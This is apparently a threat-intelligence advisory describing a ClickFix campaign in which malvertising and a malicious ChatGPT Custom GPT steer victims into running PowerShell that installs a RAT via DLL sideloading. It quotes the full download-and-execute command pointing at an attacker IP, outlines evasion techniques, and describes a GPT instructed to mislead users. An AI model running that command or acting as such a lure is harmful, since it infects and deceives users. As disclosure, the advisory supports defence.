# Malicious ChatGPT Custom GPT "Plus 5.6" Used in ClickFix Campaign Delivering RAT via DLL Sideloading of Canon and Stardock Binaries

> Attackers used Google malvertising and a malicious ChatGPT Custom GPT named "Plus 5.6" to push victims to a fake Cloudflare-style CAPTCHA on Google Sites, where a ClickFix prompt made them run PowerShell that installs a malicious MSI. The MSI sideloads a DLL through legitimately signed Canon (COTFileReadApp.exe) or Stardock (DeElevate64.exe) executables to load a previously undocumented RAT with dual persistence and DNS-over-HTTPS C2 resolution.

- **Published:** 2026-09-29T00:00:00Z
- **Last reviewed:** 2026-09-29T23:57:35.822Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2766
- **ID:** TL-2026-2766
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 36 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Huntress researchers documented a ClickFix campaign in which a trusted chatgpt.com-hosted Custom GPT is the first stage. Victims arrive via Google paid ads (with tracking parameters) at a Custom GPT titled "Plus 5.6", impersonating a ChatGPT model. The GPT is instructed to tell users the primary domain has "limited availability" and to visit a "backup domain", a Google Sites page (sites.google.com/view/antibot172881) that mimics a Cloudflare CAPTCHA with ChatGPT branding and prompts the user to paste and run a PowerShell command. Huntress SOC traced at least 40 incidents to the Google Sites domain, of which two were confirmed to come through a Custom GPT.

The pasted command is `PowerShell.exe -ExecutionPolicy Bypass "irm 1614733393/12 | Out-File $env:temp\1777.ps1;& $env:temp\1777.ps1"`, where 1614733393 is the decimal form of 96.62.224.81. The downloaded script (e.g. 6469.ps1 in V1, 5689.ps1 in V2) is heavily obfuscated with two layers of integer-based encoding (3,036 negative integers decoded by adding key 1520498; a second layer uses key 6178128) and downloads an MSI (ISOSimple.msi, display name "Advanced Printer Configuration Reader") from the same server, executed silently with msiexec /qn /norestart from a %TEMP%\<32 hex>_ISOSimple.msi path. The MSI installs 177 files under %LOCALAPPDATA%\Programs\ with ARPSYSTEMCOMPONENT=1 to hide it from Programs and Features, and launches the signed Canon CaptureOnTouch host COTFileReadApp.exe, which loads a patched ceiinfolog.dll (signature stripped, header checksum modified) that imports a malicious rdCore.dll (fake Polly version info). Additional helper DLLs WPFLocalizeExtension.dll (fake open-source version info) and WMPCL.dll ship alongside. The loader reads an encrypted shellcode blob hidden in a valid RIFF/WAVE file (Common.Integrator.Preview.wav, XOR-encrypted shellcode at offset 0x24362), applies an AMSI bypass, hosts the CLR, unhooks ntdll, and performs anti-VM checks (VMware, VirtualBox, Hyper-V, QEMU, Xen, Parallels) before decrypting monitor.raw, a custom encrypted file-system archive (1,128 entries) that holds a persistence script and the final ~1.58 MB position-independent RAT.

Persistence is an HKCU Run value plus a scheduled task, both named "Canon Configuration Reader", which a shutdown-monitoring script recreates (Run key checked about every 150 seconds, task about every 875 seconds). The RAT supports remote desktop sessions and screen broadcast, camera/microphone/system-audio capture, enumeration of 17 browsers, content-based file search, host reconnaissance (AV/Defender status via WMI, domain and domain-controller info, network adapters, open ports, installed software, Windows features, hardware fingerprint), C2 address resolution via DNS-over-HTTPS (Cloudflare, Google, Quad9) so no local DNS logging occurs, and execution of EXE, DLL (rundll32/regsvcs), MSI, PowerShell, batch, VBScript, JScript and ZIP payloads. Huntress frequently observed follow-on deployment of GOMCam2024.exe to %LOCALAPPDATA%\AppstorageFile\.

OpenAI removed the first Custom GPT by 2026-09-25 after Huntress reported it, but a replacement Custom GPT with the same title stayed active. A second variant found around 2026-09-27 swaps the host to Stardock's DeElevate64.exe (MSI IconEdit2Turb.msi, "Stardock Smart DeElevation Tool"), a patched DeElevator64.dll importing I++u.dll (fake SharpCompress info) with helper DLLs senddmp.resources.dll and res.dll, a NuGet-package-disguised loader carrier (Build.dat), the archive execute_engine_disconnect.raw, and a persistence name of "Stardock DeElevation Tool". Its stager is a two-stage script with a spoofed Chrome user agent, fresh obfuscation per request, and Mark-of-the-Web stripping before MSI execution. A third MSI (UltraFreeISOCreateWizardSolution.msi) was seen on the delivery server on 2026-09-23 but was not obtained. The malware family is unnamed in the sources and no actor attribution is given.

## MITRE ATT&CK

- T1583.008 Malvertising
- T1204.004 Malicious Copy and Paste
- T1059.001 PowerShell
- T1218.007 Msiexec
- T1218.011 Rundll32
- T1574.001 DLL
- T1027 Obfuscated Files or Information
- T1027.003 Steganography
- T1140 Deobfuscate/Decode Files or Information
- T1553.005 Mark-of-the-Web Bypass
- T1685 Disable or Modify Tools
- T1497.001 System Checks
- T1620 Reflective Code Loading
- T1036.005 Match Legitimate Resource Name or Location
- T1564.001 Hidden Files and Directories
- T1547.001 Registry Run Keys / Startup Folder
- T1053.005 Scheduled Task
- T1518.001 Security Software Discovery
- T1082 System Information Discovery
- T1217 Browser Information Discovery
- T1125 Video Capture
- T1123 Audio Capture
- T1071.004 DNS
- T1219.002 Remote Desktop Software
- T1574.002 Hijack Execution Flow
- T1105 Ingress Tool Transfer
- T1113 Screen Capture
- T1083 File and Directory Discovery
- T1046 Network Service Discovery
- T1016 System Network Configuration Discovery

## Sources

- [Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix (Huntress)](https://www.huntress.com/blog/chatgpt-custom-gpts-clickfix-rat)
- [Hackers Weaponizing ChatGPT's Custom GPT Feature to Trick Victims into Installing Malware (Cyber Security News)](https://cybersecuritynews.com/chatgpt-custom-gpt-malware/)
- [Attackers weaponise ChatGPT Custom GPTs to deliver RAT via eight-stage ClickFix chain (IT Security Guru)](https://www.itsecurityguru.org/2026/09/29/attackers-weaponise-chatgpt-custom-gpts-to-deliver-rat-via-eight-stage-clickfix-chain/)
- [Hackers Using ChatGPT's Custom GPT feature to Trick Victims into Installing Malware (Cryptika)](https://www.cryptika.com/hackers-using-chatgpts-custom-gpt-feature-to-trick-victims-into-installing-malware/)
- [Malicious ChatGPT Custom GPT Ads Deliver ClickFix RAT (Mallory)](https://mallory.ai/stories/01a0ea17-9d56-7a9d-a503-7e7a54b1bcdf)
- [MITRE ATT&CK T1204.004 Malicious Copy and Paste](https://attack.mitre.org/techniques/T1204/004/)
- [MITRE ATT&CK T1574.002 DLL Side-Loading](https://attack.mitre.org/techniques/T1574/002/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2766